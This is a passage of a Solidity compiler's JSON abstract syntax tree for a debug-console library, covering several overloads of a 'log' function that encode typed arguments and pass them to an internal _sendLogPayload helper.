memory"}},{"id":26634,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26623,"src":"25927:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26635,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26625,"src":"25931:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_e8d3018d32ee5012095e63c81679b366f06035e83d43be351e9c327886860908","typeString":"literal_string \"log(uint256,string,address,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26629,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"25856:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26630,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"25860:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"25856:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25856:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26628,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"25840:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26637,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"25840:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26638,"nodeType":"ExpressionStatement","src":"25840:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25758:3:15","parameters":{"id":26626,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26619,"mutability":"mutable","name":"p0","nameLocation":"25770:2:15","nodeType":"VariableDeclaration","scope":26640,"src":"25762:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26618,"name":"uint256","nodeType":"ElementaryTypeName","src":"25762:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26621,"mutability":"mutable","name":"p1","nameLocation":"25788:2:15","nodeType":"VariableDeclaration","scope":26640,"src":"25774:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26620,"name":"string","nodeType":"ElementaryTypeName","src":"25774:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26623,"mutability":"mutable","name":"p2","nameLocation":"25800:2:15","nodeType":"VariableDeclaration","scope":26640,"src":"25792:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26622,"name":"address","nodeType":"ElementaryTypeName","src":"25792:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26625,"mutability":"mutable","name":"p3","nameLocation":"25812:2:15","nodeType":"VariableDeclaration","scope":26640,"src":"25804:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26624,"name":"uint256","nodeType":"ElementaryTypeName","src":"25804:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"25761:54:15"},"returnParameters":{"id":26627,"nodeType":"ParameterList","parameters":[],"src":"25830:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26663,"nodeType":"FunctionDefinition","src":"25948:198:15","nodes":[],"body":{"id":26662,"nodeType":"Block","src":"26035:111:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c616464726573732c737472696e6729","id":26654,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26085:36:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9c3adfa1394c3989d93ade538d03d04b05867057c1dd54721ae2c85f9a1a4720","typeString":"literal_string \"log(uint256,string,address,string)\""},"value":"log(uint256,string,address,string)"},{"id":26655,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26642,"src":"26123:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26656,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26644,"src":"26127:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26657,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26646,"src":"26131:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26658,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26648,"src":"26135:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9c3adfa1394c3989d93ade538d03d04b05867057c1dd54721ae2c85f9a1a4720","typeString":"literal_string \"log(uint256,string,address,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26652,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26061:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26653,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26065:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26061:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26659,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26061:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26651,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"26045:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26660,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26045:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26661,"nodeType":"ExpressionStatement","src":"26045:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25957:3:15","parameters":{"id":26649,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26642,"mutability":"mutable","name":"p0","nameLocation":"25969:2:15","nodeType":"VariableDeclaration","scope":26663,"src":"25961:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26641,"name":"uint256","nodeType":"ElementaryTypeName","src":"25961:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26644,"mutability":"mutable","name":"p1","nameLocation":"25987:2:15","nodeType":"VariableDeclaration","scope":26663,"src":"25973:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26643,"name":"string","nodeType":"ElementaryTypeName","src":"25973:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26646,"mutability":"mutable","name":"p2","nameLocation":"25999:2:15","nodeType":"VariableDeclaration","scope":26663,"src":"25991:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26645,"name":"address","nodeType":"ElementaryTypeName","src":"25991:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26648,"mutability":"mutable","name":"p3","nameLocation":"26017:2:15","nodeType":"VariableDeclaration","scope":26663,"src":"26003:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26647,"name":"string","nodeType":"ElementaryTypeName","src":"26003:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"25960:60:15"},"returnParameters":{"id":26650,"nodeType":"ParameterList","parameters":[],"src":"26035:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26686,"nodeType":"FunctionDefinition","src":"26152:187:15","nodes":[],"body":{"id":26685,"nodeType":"Block","src":"26230:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c616464726573732c626f6f6c29","id":26677,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26280:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_90c30a564e5b352d6dfee73888402a5685ca327aad7827d5040904440ee085c5","typeString":"literal_string \"log(uint256,string,address,bool)\""},"value":"log(uint256,string,address,bool)"},{"id":26678,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26665,"src":"26316:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26679,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26667,"src":"26320:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26680,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26669,"src":"26324:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26681,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26671,"src":"26328:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_90c30a564e5b352d6dfee73888402a5685ca327aad7827d5040904440ee085c5","typeString":"literal_string \"log(uint256,string,address,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":26675,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26256:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26676,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26260:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26256:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26682,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26256:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26674,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"26240:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26683,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26240:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26684,"nodeType":"ExpressionStatement","src":"26240:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26161:3:15","parameters":{"id":26672,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26665,"mutability":"mutable","name":"p0","nameLocation":"26173:2:15","nodeType":"VariableDeclaration","scope":26686,"src":"26165:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26664,"name":"uint256","nodeType":"ElementaryTypeName","src":"26165:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26667,"mutability":"mutable","name":"p1","nameLocation":"26191:2:15","nodeType":"VariableDeclaration","scope":26686,"src":"26177:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26666,"name":"string","nodeType":"ElementaryTypeName","src":"26177:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26669,"mutability":"mutable","name":"p2","nameLocation":"26203:2:15","nodeType":"VariableDeclaration","scope":26686,"src":"26195:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26668,"name":"address","nodeType":"ElementaryTypeName","src":"26195:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26671,"mutability":"mutable","name":"p3","nameLocation":"26212:2:15","nodeType":"VariableDeclaration","scope":26686,"src":"26207:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26670,"name":"bool","nodeType":"ElementaryTypeName","src":"26207:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26164:51:15"},"returnParameters":{"id":26673,"nodeType":"ParameterList","parameters":[],"src":"26230:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26709,"nodeType":"FunctionDefinition","src":"26345:193:15","nodes":[],"body":{"id":26708,"nodeType":"Block","src":"26426:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c737472696e672c616464726573732c6164647265737329","id":26700,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26476:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6168ed618844a2c75dc49207e69cdff562cd2faf2e74aa5192211a023611c6bd","typeString":"literal_string \"log(uint256,string,address,address)\""},"value":"log(uint256,string,address,address)"},{"id":26701,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26688,"src":"26515:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26702,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26690,"src":"26519:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":26703,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26692,"src":"26523:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":26704,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26694,"src":"26527:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6168ed618844a2c75dc49207e69cdff562cd2faf2e74aa5192211a023611c6bd","typeString":"literal_string \"log(uint256,string,address,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":26698,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26452:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26699,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26456:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26452:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26705,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26452:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26697,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"26436:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26706,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26436:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26707,"nodeType":"ExpressionStatement","src":"26436:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26354:3:15","parameters":{"id":26695,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26688,"mutability":"mutable","name":"p0","nameLocation":"26366:2:15","nodeType":"VariableDeclaration","scope":26709,"src":"26358:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26687,"name":"uint256","nodeType":"ElementaryTypeName","src":"26358:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26690,"mutability":"mutable","name":"p1","nameLocation":"26384:2:15","nodeType":"VariableDeclaration","scope":26709,"src":"26370:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":26689,"name":"string","nodeType":"ElementaryTypeName","src":"26370:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":26692,"mutability":"mutable","name":"p2","nameLocation":"26396:2:15","nodeType":"VariableDeclaration","scope":26709,"src":"26388:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26691,"name":"address","nodeType":"ElementaryTypeName","src":"26388:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":26694,"mutability":"mutable","name":"p3","nameLocation":"26408:2:15","nodeType":"VariableDeclaration","scope":26709,"src":"26400:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":26693,"name":"address","nodeType":"ElementaryTypeName","src":"26400:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26357:54:15"},"returnParameters":{"id":26696,"nodeType":"ParameterList","parameters":[],"src":"26426:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26732,"nodeType":"FunctionDefinition","src":"26544:182:15","nodes":[],"body":{"id":26731,"nodeType":"Block","src":"26616:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c75696e743235362c75696e7432353629","id":26723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26666:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_c6acc7a8396e6de9a5a1476aecf2cbff57758b174747b0371b7f3994e930b8b4","typeString":"literal_string \"log(uint256,bool,uint256,uint256)\""},"value":"log(uint256,bool,uint256,uint256)"},{"id":26724,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26711,"src":"26703:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26725,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26713,"src":"26707:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26726,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26715,"src":"26711:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26727,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26717,"src":"26715:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_c6acc7a8396e6de9a5a1476aecf2cbff57758b174747b0371b7f3994e930b8b4","typeString":"literal_string \"log(uint256,bool,uint256,uint256)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":26721,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26642:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26722,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26646:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26642:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26728,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26642:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26720,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"26626:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":26729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26626:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":26730,"nodeType":"ExpressionStatement","src":"26626:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26553:3:15","parameters":{"id":26718,"nodeType":"ParameterList","parameters":[{"constant":false,"id":26711,"mutability":"mutable","name":"p0","nameLocation":"26565:2:15","nodeType":"VariableDeclaration","scope":26732,"src":"26557:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26710,"name":"uint256","nodeType":"ElementaryTypeName","src":"26557:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26713,"mutability":"mutable","name":"p1","nameLocation":"26574:2:15","nodeType":"VariableDeclaration","scope":26732,"src":"26569:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":26712,"name":"bool","nodeType":"ElementaryTypeName","src":"26569:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":26715,"mutability":"mutable","name":"p2","nameLocation":"26586:2:15","nodeType":"VariableDeclaration","scope":26732,"src":"26578:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26714,"name":"uint256","nodeType":"ElementaryTypeName","src":"26578:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":26717,"mutability":"mutable","name":"p3","nameLocation":"26598:2:15","nodeType":"VariableDeclaration","scope":26732,"src":"26590:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":26716,"name":"uint256","nodeType":"ElementaryTypeName","src":"26590:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26556:45:15"},"returnParameters":{"id":26719,"nodeType":"ParameterList","parameters":[],"src":"26616:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":26755,"nodeType":"FunctionDefinition","src":"26732:187:15","nodes":[],"body":{"id":26754,"nodeType":"Block","src":"26810:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e743235362c626f6f6c2c75696e743235362c737472696e6729","id":26746,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26860:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_de03e77403acbacf9b1b18c1115984c9fba2c45e2eec9f12c266ada3f62a0d1b","typeString":"literal_string \"log(uint256,bool,uint256,string)\""},"value":"log(uint256,bool,uint256,string)"},{"id":26747,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26734,"src":"26896:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26748,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26736,"src":"26900:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":26749,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26738,"src":"26904:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":26750,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":26740,"src":"26908:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_de03e77403acbacf9b1b18c1115984c9fba2c45e2eec9f12c266ada3f62a0d1b","typeString":"literal_string \"log(uint256,bool,uint256,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":26744,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26836:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":26745,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26840:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26836:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":26751,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26836:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":26743,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"26820:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) 